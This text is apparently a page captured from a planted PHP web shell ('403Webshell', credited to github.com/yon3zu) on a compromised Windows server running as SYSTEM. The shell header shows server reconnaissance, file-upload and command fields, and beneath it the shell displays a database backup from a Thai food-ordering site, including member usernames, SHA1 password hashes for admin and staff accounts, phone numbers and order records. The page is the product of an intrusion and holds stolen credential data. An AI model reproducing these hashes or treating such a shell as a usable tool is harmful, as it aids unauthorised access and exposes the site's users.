403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /dataDB/BackupDB/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /dataDB/BackupDB/project_food202506191500.sql
-- phpMyAdmin SQL Dump
-- version 4.6.6
-- https://www.phpmyadmin.net/
--
-- Host: localhost
-- Generation Time: Jun 19, 2025 at 03:00 PM
-- Server version: 5.7.17-log
-- PHP Version: 5.6.30

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `project_food`
--
CREATE DATABASE IF NOT EXISTS `project_food` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
USE `project_food`;

-- --------------------------------------------------------

--
-- Table structure for table `tbl_member`
--

CREATE TABLE IF NOT EXISTS `tbl_member` (
  `m_id` int(11) NOT NULL AUTO_INCREMENT,
  `m_username` varchar(50) NOT NULL,
  `m_password` varchar(50) NOT NULL,
  `m_firstname` varchar(50) NOT NULL,
  `m_name` varchar(100) NOT NULL,
  `m_lastname` varchar(100) NOT NULL,
  `m_img` varchar(100) DEFAULT NULL,
  `m_address` varchar(255) NOT NULL,
  `m_phone` varchar(20) NOT NULL,
  `m_email` varchar(50) NOT NULL,
  `m_level` varchar(10) NOT NULL,
  `m_datesave` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`m_id`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8;

--
-- Dumping data for table `tbl_member`
--

INSERT INTO `tbl_member` (`m_id`, `m_username`, `m_password`, `m_firstname`, `m_name`, `m_lastname`, `m_img`, `m_address`, `m_phone`, `m_email`, `m_level`, `m_datesave`) VALUES
(2, 'staff', '439b0066df76134ade3a3a2f7c7dd936fe6ceac6', 'นาย', 'staff', 'sales', '60233846320190205_103833.png', 'bkk', '0988884884', '[email protected]', 'Staff', '2019-02-02 06:11:43'),
(7, 'admin', '439b0066df76134ade3a3a2f7c7dd936fe6ceac6', 'นาย', 'admin', 'addmin', '34732332520190214_173230.png', 'bkk', '0988884884', '[email protected]', 'Admin', '2019-02-08 06:46:08'),
(8, '', 'da39a3ee5e6b4b0d3255bfef95601890afd80709', '', '', '', '', '', '', '', '', '2025-06-15 12:18:22');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_order_detail`
--

CREATE TABLE IF NOT EXISTS `tbl_order_detail` (
  `d_id` int(11) NOT NULL AUTO_INCREMENT,
  `ref_order_id` int(11) NOT NULL,
  `ref_op_id` int(11) NOT NULL,
  `d_qty` int(11) NOT NULL,
  `d_price_total` float(10,2) NOT NULL,
  `d_date` date NOT NULL,
  PRIMARY KEY (`d_id`)
) ENGINE=InnoDB AUTO_INCREMENT=48 DEFAULT CHARSET=utf8;

--
-- Dumping data for table `tbl_order_detail`
--

INSERT INTO `tbl_order_detail` (`d_id`, `ref_order_id`, `ref_op_id`, `d_qty`, `d_price_total`, `d_date`) VALUES
(1, 1, 15, 1, 40.00, '2019-05-27'),
(2, 1, 16, 1, 50.00, '2019-05-27'),
(3, 1, 19, 1, 20.00, '2019-05-27'),
(4, 2, 16, 2, 100.00, '2019-05-27'),
(5, 2, 15, 1, 40.00, '2019-05-27'),
(6, 2, 19, 1, 20.00, '2019-05-27'),
(7, 3, 23, 1, 50.00, '2019-05-27'),
(8, 3, 19, 1, 20.00, '2019-05-27'),
(9, 3, 16, 1, 50.00, '2019-05-27'),
(10, 3, 15, 1, 40.00, '2019-05-27'),
(11, 4, 16, 4, 200.00, '2019-05-27'),
(12, 4, 15, 2, 80.00, '2019-05-27'),
(13, 4, 19, 2, 40.00, '2019-05-27'),
(14, 4, 23, 2, 100.00, '2019-05-27'),
(15, 5, 15, 1, 40.00, '2019-05-27'),
(16, 5, 16, 1, 50.00, '2019-05-27'),
(17, 5, 19, 2, 40.00, '2019-05-27'),
(18, 6, 15, 1, 40.00, '2019-05-27'),
(19, 6, 16, 1, 50.00, '2019-05-27'),
(20, 6, 19, 1, 20.00, '2019-05-27'),
(21, 6, 23, 1, 50.00, '2019-05-27'),
(22, 7, 15, 1, 40.00, '2019-05-28'),
(23, 7, 16, 1, 50.00, '2019-05-28'),
(24, 7, 19, 1, 20.00, '2019-05-28'),
(25, 7, 23, 1, 50.00, '2019-05-28'),
(26, 8, 16, 1, 50.00, '2019-05-28'),
(27, 8, 19, 2, 40.00, '2019-05-28'),
(28, 9, 15, 2, 80.00, '2019-07-11'),
(29, 9, 16, 2, 100.00, '2019-07-11'),
(30, 9, 19, 3, 60.00, '2019-07-11'),
(31, 9, 23, 2, 100.00, '2019-07-11'),
(32, 10, 19, 1, 20.00, '2019-07-25'),
(33, 10, 16, 1, 50.00, '2019-07-25'),
(34, 10, 23, 1, 50.00, '2019-07-25'),
(35, 11, 19, 1, 20.00, '2019-07-25'),
(36, 11, 23, 1, 50.00, '2019-07-25'),
(37, 11, 15, 1, 40.00, '2019-07-25'),
(38, 12, 15, 1, 40.00, '2019-07-25'),
(39, 12, 16, 1, 50.00, '2019-07-25'),
(40, 12, 19, 1, 20.00, '2019-07-25'),
(41, 12, 23, 1, 50.00, '2019-07-25'),
(42, 13, 15, 1, 40.00, '2019-07-25'),
(43, 13, 16, 1, 50.00, '2019-07-25'),
(44, 13, 19, 1, 20.00, '2019-07-25'),
(45, 13, 23, 1, 50.00, '2019-07-25'),
(46, 14, 16, 1, 50.00, '2024-03-20'),
(47, 14, 19, 1, 20.00, '2024-03-20');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_orders`
--

CREATE TABLE IF NOT EXISTS `tbl_orders` (
  `order_id` int(4) UNSIGNED ZEROFILL NOT NULL AUTO_INCREMENT,
  `ref_m_id` int(11) NOT NULL,
  `ref_s_id` int(11) NOT NULL,
  `order_date_rev` date NOT NULL,
  `order_time_rev` varchar(10) DEFAULT NULL,
  `order_total` float(10,2) NOT NULL,
  `order_date` datetime NOT NULL,
  PRIMARY KEY (`order_id`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8;

--
-- Dumping data for table `tbl_orders`
--

INSERT INTO `tbl_orders` (`order_id`, `ref_m_id`, `ref_s_id`, `order_date_rev`, `order_time_rev`, `order_total`, `order_date`) VALUES
(0001, 0, 3, '2019-05-27', '', 110.00, '2019-05-27 20:09:47'),
(0002, 0, 3, '2019-05-27', '', 160.00, '2019-05-27 20:13:29'),
(0003, 0, 3, '2019-05-27', '', 160.00, '2019-05-27 21:04:07'),
(0004, 0, 3, '2019-05-27', '', 420.00, '2019-05-27 21:04:21'),
(0005, 0, 3, '2019-05-27', '', 130.00, '2019-05-27 21:10:36'),
(0006, 0, 3, '2019-05-27', '', 160.00, '2019-05-27 21:13:29'),
(0007, 0, 3, '2019-05-28', '', 160.00, '2019-05-28 09:53:51'),
(0008, 0, 3, '2019-05-28', '', 90.00, '2019-05-28 09:54:12'),
(0009, 0, 3, '2019-07-11', '', 340.00, '2019-07-11 13:20:37'),
(0010, 0, 3, '2019-07-25', '', 120.00, '2019-07-25 22:30:01'),
(0011, 0, 3, '2019-07-25', '', 110.00, '2019-07-25 22:42:24'),
(0012, 0, 3, '2019-07-25', '', 160.00, '2019-07-25 22:44:55'),
(0013, 0, 3, '2019-07-25', '', 160.00, '2019-07-25 22:45:08'),
(0014, 0, 3, '2024-03-20', '', 70.00, '2024-03-20 09:58:27');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_orders_log`
--

CREATE TABLE IF NOT EXISTS `tbl_orders_log` (
  `l_id` int(11) NOT NULL AUTO_INCREMENT,
  `ref_order_id` int(11) NOT NULL,
  `ref_m_id` int(11) NOT NULL,
  `l_date_save` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`l_id`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8 COMMENT='ประวัติ พนง. ที่รับ order';

--
-- Dumping data for table `tbl_orders_log`
--

INSERT INTO `tbl_orders_log` (`l_id`, `ref_order_id`, `ref_m_id`, `l_date_save`) VALUES
(1, 1, 2, '2019-05-27 13:09:47'),
(2, 2, 2, '2019-05-27 13:13:29'),
(3, 3, 2, '2019-05-27 14:04:07'),
(4, 4, 2, '2019-05-27 14:04:21'),
(5, 5, 2, '2019-05-27 14:10:36'),
(6, 6, 2, '2019-05-27 14:13:29'),
(7, 7, 2, '2019-05-28 02:53:51'),
(8, 8, 2, '2019-05-28 02:54:12'),
(9, 9, 2, '2019-07-11 06:20:37'),
(10, 10, 2, '2019-07-25 15:30:01'),
(11, 11, 2, '2019-07-25 15:42:24'),
(12, 12, 2, '2019-07-25 15:44:55'),
(13, 13, 2, '2019-07-25 15:45:08'),
(14, 14, 2, '2024-03-20 02:58:27');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_product`
--

CREATE TABLE IF NOT EXISTS `tbl_product` (
  `p_id` int(11) NOT NULL AUTO_INCREMENT,
  `ref_m_id` int(11) NOT NULL COMMENT 'tbl_member',
  `p_name` varchar(200) NOT NULL,
  `p_detail` text NOT NULL,
  `p_price` float(10,2) NOT NULL,
  `p_unit` varchar(20) NOT NULL,
  `p_img` varchar(200) NOT NULL,
  `p_datesave` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`p_id`)
) ENGINE=InnoDB AUTO_INCREMENT=24 DEFAULT CHARSET=utf8;

--
-- Dumping data for table `tbl_product`
--

INSERT INTO `tbl_product` (`p_id`, `ref_m_id`, `p_name`, `p_detail`, `p_price`, `p_unit`, `p_img`, `p_datesave`) VALUES
(15, 7, 'ข้าวไข่เจียว', 'ข้าวไข่เจียว', 40.00, 'จาน', '104599236620190428_221506.png', '2019-02-25 03:48:35'),
(16, 7, 'กระเพราไก่', 'กระเพราไก่', 50.00, 'จาน', '167208652420190428_221354.jpeg', '2019-02-25 03:49:16'),
(19, 7, 'ข้าวต้ม', 'ข้าวต้ม', 20.00, 'จาน', '67598137920190428_221229.jpg', '2019-02-25 07:01:01'),
(23, 7, 'ผัดไทย', '<p>ผัดไทย&nbsp;อร่อยมากๆ</p>\r\n', 50.00, 'จาน', 'f149746405720190527_205253.jpg', '2019-05-27 13:52:53');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_status`
--

CREATE TABLE IF NOT EXISTS `tbl_status` (
  `s_id` int(11) NOT NULL AUTO_INCREMENT,
  `s_name` varchar(100) NOT NULL,
  PRIMARY KEY (`s_id`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;

--
-- Dumping data for table `tbl_status`
--

INSERT INTO `tbl_status` (`s_id`, `s_name`) VALUES
(1, 'รอดำเนินการ'),
(2, 'รอชำระเงิน'),
(3, 'เสร็จสิ้น');

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

Youez - 2016 - github.com/yon3zu
LinuXploit